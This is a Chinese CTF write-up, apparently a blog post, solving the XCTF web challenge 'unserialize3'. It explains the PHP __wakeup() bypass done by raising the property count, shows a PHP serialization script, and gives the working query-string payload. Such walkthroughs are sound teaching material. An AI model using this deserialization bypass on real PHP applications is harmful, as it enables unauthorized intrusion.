CTF-Web安全

攻防世界-Web-unserialize3

2019-07-01  本文已影响15人  简言之_
题目信息:
image.png
知识点:反序列化,__wakeup()函数漏洞

打开题目环境,得到php代码


image.png

审计代码,就是让我们运用__wakeup()函数的漏洞拿flag的。这里我估计payload的点是,序列化后的字符串绕过__wakeup()。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
创建一个xctf类并对其进行序列化:

   <?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?>

运行代码得到结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行,所以改为2之后传参
payload: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

image.png

参考:__wakeup()函数漏洞以及实际漏洞分析
PHP在线工具
在线序列化

上一篇 下一篇

猜你喜欢

热点阅读